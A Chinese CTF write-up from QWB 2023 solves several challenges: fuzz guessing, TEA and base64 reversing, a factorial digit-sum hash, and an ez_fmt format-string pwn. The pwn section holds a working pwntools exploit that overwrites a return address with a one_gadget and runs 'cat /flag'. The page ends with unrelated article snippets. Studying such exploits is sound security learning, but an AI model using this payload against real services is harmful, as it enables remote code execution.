[强网杯2023] 只作了几个小题

感觉现在比赛越来越难了,只作了几个小题,赛后把看到的wp复现到的也一并记录一下。

misc/fuzz

这就是个猜数的题,哪个数字对了就在哪一位上显示1一共9位,不过服务器返回的前两个并不一定正确,多试几把。

Enter a string (should be less than 10 bytes): abcd
Here is your code coverage: 000000000
Please try again. If you can reach all 1 in the coverage, you will win!
Enter a string (should be less than 10 bytes): 123456
Here is your code coverage: 000000000
Please try again. If you can reach all 1 in the coverage, you will win!
Enter a string (should be less than 10 bytes): 1234567890
Here is your code coverage: 000000000

先把所有字符都输入一遍找到是1的后7个字符,再试前两个,幸运的时候就成了。会显示正确的。拿到9位就给flag

from pwn import *

#context.log_level = 'debug'
#p = remote('120.24.69.11', 12199)
p = remote('101.200.122.251', 12177)


for i in range(0x21,0x7f):
    #p.sendlineafter(b'(should be less than 10 bytes):', ('GoqwbGood').encode())
    p.sendlineafter(b'(should be less than 10 bytes):', (chr(i)+chr(i)).encode() + b'qwbGood')
    p.recvuntil(b'coverage: ')
    v = p.recv(9)
    if v != b'0'*9:
        print(v, chr(i))

 强网先锋/babyre

很容易拿到是个tea加密,但是解出来不对。应该是反调啥的。TlsCallback_0_0,TlsCallback_1_0两个函数里面把密文和密钥改了。

拿到正确的密文密钥就能解密

from pwn import *
from ctypes import *

c = [0x89DEC7979621F3E0,0x0D2FC5DB08D62CA9B,0x9B76A850421C5589,0x0DE11CF7C2FC6B2EA]
c = b''.join([p64(i) for i in c])

#TlsCallback_1_0
c = bytes([c[i]^i for i in range(32)])

c = [u32(c[i:i+4]) for i in range(0,32,4)]
print([hex(i) for i in c])

#TlsCallback_0_0 
#key = [0x31,0xb7,0xb6,0x31]
key = [0x62,0x6f,0x6d,0x62]
def tea(v,k):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta = 0x77BF7F99
    sum1 = c_uint32(0x90508D47 - delta * 33 * 4)
    for i in range(4*33):
        sum1.value += delta       
        v1.value -= (((v0.value<<5)^(v0.value>>4))+v0.value)^(sum1.value + key[(sum1.value>>11)&3])
        v0.value -= (((v1.value<<5)^(v1.value>>4))+v1.value)^(sum1.value + key[sum1.value&3]) ^ sum1.value 
    print(p32(v0.value)+p32(v1.value))
    return p32(v0.value)+p32(v1.value)

flag = b''
for i in range(0,8,2):
    flag +=tea(c[i:i+2], key)

print(flag)  

#flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

 强网先锋/ezre

程序作了混淆,手搓的(后来听说用D810扁平化,但没安上。)好在程序很短,一步步跟着来,大概流程是:b64enc->b64dec->b64enc->b64dec->b64enc->加密->比较

但是每次码表都会变,而且还有反调,在gdb里把反调的值改为0,然后跟进拿到5个码表和最后加密的密钥(相当于第6个码表),先用密文解一步,然后放厨子里用5个码表解base64

c = bytes.fromhex('3A2C4B516846596324045E5F000C2B03295C74706A627F3D2C4E6F13060D060C4D560F284D5176702B05516848552419')

'''
b64
for i in 4:
   交换码表
   enc2
码表异或
enc
比较
'''

def enc(c):
    v9 = b"SFNrIBmnOL\020Vt~bMc\026lJ\036"
    v11 = 2023
    v10 = 0
    va = []
    for i in range(48):
        if v10%3 == 0:
            v11 = (v11+3)%17
            v7 = v9[v11+3]
        elif v10%3== 1:
            v11 = (v11+5)%20
            v7 = v9[v11+1]
        else:
            v11 = (v11+7)%19
            v7 = v9[v11+2]
        va.append(v7)
        v10+=1
    print([hex(i) for i in va])
    tc = [i for i in c]
    for v in range(len(c)-1,0,-1):
        tc[v]^=tc[v-1]
        tc[v-1]^=va[v-1]
    print(bytes(tc))
    return bytes(tc)

#"kNIVkNIVkNIVkNLqkrLqkrLqkrL8kEX8kEX8kEX8ktktkA=="
#c = b"\006\004[DABAY\"\016Qj\021!#?\030|yf@xz\033\022vW\177jaT ]Qg\02238p*WN5?\0326Gz"
c4 = enc(c)
print(c4)
c3 = bytes.fromhex('f0 54 52 f3 62 46 f2 b9 c1 13 e2 14 f7 61 d5 f2 b4 b9 bc 69 c1 3d 4f 5e f3 94 15 c7 94 34 ea a5 b7 28')
#用5个码表base64编解码
tab1 = b"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8"
tab2 = b"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA" 
tab3 = b"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a" 
tab4 = b"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6" 
tab0 = b"l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr"
c1 = 'B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543uF=='

#flag{3ea590ccwxehg715264fzxnzepqz}

强网先锋/speedUp

这题给的很少,只有一个2^27!,flag 是每位数字和作sha256

不知道是不是弯路走远了。先在sage里求这个2^27的阶乘,然后存文件里,读成bytes再加。这样可能占用内存会小点,因为这个数字将近1G那么大。不保证是优解,运行几十分钟。

sage: x = factorial(2^27)
sage: open('aaa.txt','w').write(str(x))
1032606162



>>> a = open('aaa.txt', 'rb').read()
>>> res = 0
>>> for i in a:
...     res += i-0x30
...
>>> from hashlib import sha256
>>> sha256(str(res).encode()).hexdigest()
'bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797'

强网先锋/ez_fmt

这是看的别人的wp,原来格式化字符串还有*d参数

%Nc%*A$d%B$n

第1段%Nc是输入N个字符,

第2段里A是一个偏移(本题反回地址是偏移19),会输出偏移位置的值个字符,这里用__libc_start_main_ret这个值

前两部分输出的值(特别大)就是把libc_start_main_ret+offset = one 

第3部分B是偏移(payload里的栈地址指向返回地址,也就是偏移19这个位置)这里把前边的这个数写到偏移处指针指向的地址,也就实现了把_libc_start_main_ret改为one

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./ez_fmt')
p = remote('47.104.24.40', 1337)

p.recvuntil(b"you ")
stack = int(p.recvline(), 16)

#one = 0xe3b01
'''
gef➤  p 0xe3b01+0x00007ffff7dd5000
$1 = 0x7ffff7eb8b01
gef➤  p $1-0x00007ffff7df9083
$2 = 0xbfa7e
'''
v1 = 0xbfa7e  #one-__libc_start_main_ret
pay = f"%{v1}c%*19$d%9$n".ljust(0x18, 'a').encode() + p64(stack+0x68)
p.send(pay)

p.recvuntil(b'aaa')
p.sendline(b'cat /flag')
p.interactive()

REV/ezre

这个看到别人WP感觉如此简单,也是混淆过的,从特征上看是SM4加密。而且是标准的,密钥和密文都给了,直接上厨子就行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/252764.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue 项目关于在生产环境下调试

前言 开发项目时&#xff0c;在本地调试没问题&#xff0c;但是部署到生产会遇到一些很奇怪的问题&#xff0c;本地又没法调&#xff0c;就需要在生产环境/域名下进行调试。 在这里介绍一个插件Vue force dev ,浏览器扩展里下载 即便是设置了Vue.config.devtoolsfalse 只要安…

【数据结构】复习题(一)

一、选择题 1.组成数据的基本单位是()。 A. 数据项 B.数据类型 C.数据元素 D.数据变量 2.设数据结构A{D,R},其中D&#xff5b;1,2,3,4},R{r},r{<1,2>,<2,3>,< 3,4>,<4,1>}&#xff0c;则数据结构A是()。 A.线性结构 B.树型结构 C.图型结构 D.集合 3.…

计算机网络网络层(期末、考研)

计算机网络总复习链接&#x1f517; 目录 路由算法静态路由与动态路由距离-向量算法链路状态路由算法层次路由 IPv4&#xff08;这个必考&#xff09;IPv4分组IPv4地址与NAT子网划分与子网掩码、CIDRARP、DHCP与ICMP地址解析协议ARP动态主机配置协议DHCP IPv6IPv6特点 路由协议…

山西电力市场日前价格预测【2023-12-16】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-12-16&#xff09;山西电力市场全天平均日前电价为259.00元/MWh。其中&#xff0c;最高日前电价为333.74元/MWh&#xff0c;预计出现在18:00。最低日前电价为0.00元/MWh&#xff0c;预计出…

alibaba druid连接池

alibaba druid连接池 如果是SpringBoot 3.x&#xff0c;使用以下依赖 com.alibaba druid-spring-boot-3-starter ${druid-spring-boot-starter.version} application.yml配置 登录页面配置 切面监控springboot类 对 Web 请求的监控 配置filter&#xff0c;收集统计信息&#x…

深度剖析JavaScript中冒泡和捕获机制、事件代理

JS事件传播的两种机制包括冒泡和捕获&#xff0c;下面将具体剖析它们之间本质的区别。 事件冒泡: 先触发子元素的事件&#xff0c;再触发父元素的事件。 创建一个 ul label 和 li label, 分别绑定一个父id 和 子 id, 再通过创建 script&#xff0c;去绑定各自的点击事件。 <…

【C++】封装:练习案例-设计立方体类

练习案例&#xff1a;设计立方体类 设计立方体类(Cube) 求出立方体的面积和体积 分别用全局函数和成员函数判断两个立方体是否相等。 思路&#xff1a; 1&#xff09;创建立方体类 2&#xff09;设计属性 长&#xff0c;高&#xff0c;宽 3&#xff09;设计行为 获取立方…

配置 vim 默认显示行号 行数 :set number

vi ~/.vimrc 最后添加一行 :set number保存退出&#xff0c;再次 vim 打开文件&#xff0c;默认就会显示行号了

SpringBoot - application.yml 多环境切换解决方案

问题描述 这个问题玩过 SpringCloud 的小伙伴估计会想到用 bootstrap.yml 来解决这个问题。但是如果说为了解决这个问题引入了一堆的 SpringCloud Jar&#xff0c;就感觉杀鸡用牛刀。 于是今天我们想只有 application.yml 自己就可以解决这个问题&#xff0c;如何搞定&#x…

vue中2种取值的方式

1.url是这种方式的&#xff1a;http://localhost:3000/user/1 取得参数的方式为&#xff1a;this.$route.params.id 2.url为get方式用&#xff1f;拼接参数的&#xff1a;http://localhost:3000/user?phone131121123&companyId2ahttp://localhost:3000/ 取得参数值的方式…

linux脚本中 #!/bin/sh、#!/bin/bash

我们通常看到的脚本文件总是有以下这样的开头&#xff1a; #!/bin/bash本文解释一下这是什么&#xff0c;以及为什么要写它。 首先解释一下 #! &#xff0c;因为 #!有个专有的名词&#xff0c;叫 shebang 发音类似中文的 “蛇棒” 。为什么叫 shebang 呢&#xff1f; 首先 #…

连锁管理系统是什么?有哪些功能?

连锁管理系统帮助门店实现POS收银管理、门店管理、采购订货管理、线上商城搭建、供应链管理一体化管理系统&#xff0c;快速提高门店管理效率&#xff0c;无论你的门店有多少&#xff0c;连锁总部都能通过系统随时洞察监管门店的所有运营数据。 连锁管理系统由&#xff1a;1个…

Web安全漏洞分析—文件包含

在当今数字化时代&#xff0c;随着Web应用程序的广泛应用&#xff0c;网络安全问题愈加凸显。其中&#xff0c;文件包含漏洞作为一种常见但危险的安全隐患&#xff0c;为恶意攻击者提供了可乘之机。在这篇博客中&#xff0c;我们将深入探讨文件包含漏洞的本质、攻击手法以及应对…

visio打出根号,下标,并调整符号的大小

插入公式对象 打出根号和带下标的字母 调整符号大小 把做好的公式符号弄到visio中的图中 ctrla 复制符号 进入visio中粘贴 并 调整大小 调整大小直接拖动边框上的圆点即可。

【数据结构】八大排序之希尔排序算法

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 一.优化直接插入排序算法 我们在之前对直接插入排序算法的优化部分通过对直接插入排序的分析可以得到一个结论,即: 进行直接插入排序的数组,如果越接近局部有序,则后续进行直…

软件设计师——计算机组成原理(三)

&#x1f4d1;前言 本文主要是【计算机组成原理】——软件设计师——计算机组成原理的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 …

计算机网络:运输层

0 本节主要内容 问题描述 解决思路 1 问题描述 1.1 知识回顾 利用如下拓扑对前面的知识进行回顾。 图1 拓扑图 问题&#xff1a;源主机 H 1 \textrm{H}_1 H1​要和目的主机 H 2 \textrm{H}_2 H2​进行通信&#xff0c;源主机 H 1 \textrm{H}_1 H1​要构建数据包封装来自应…

SQL进阶理论篇(九):为什么不存在完美的索引

文章目录 简介索引片和过滤因子如何通过宽表避免回表什么是过滤因子理想索引设计&#xff1a;三星索引为什么很难存在理想的索引设计&#xff1f;参考文献 简介 本节将主要介绍以下部分&#xff1a; 什么是索引片&#xff0c;什么是过滤因子&#xff1f;设计索引的时候&#…

1847_MOSFET预驱以及作用

Grey 全部学习内容汇总&#xff1a;GitHub - GreyZhang/g_hardware_basic: You should learn some hardware design knowledge in case hardware engineer would ask you to prove your software is right when their hardware design is wrong! 1847_MOSFET预驱以及作用 MO…

5分钟部署你的第一个K8S应用

查看k8s集群信息 kubectl cluster-info查看节点信息 kubectl get node查看内部组件 kubectl get pod -A部署第一个K8S应用-Nginx&#xff0c;并通过公网ip访问 创建deployment&#xff08;Pod控制器的一种, 直接删除pod后&#xff0c;会自动创建新的&#xff0c;需要删除de…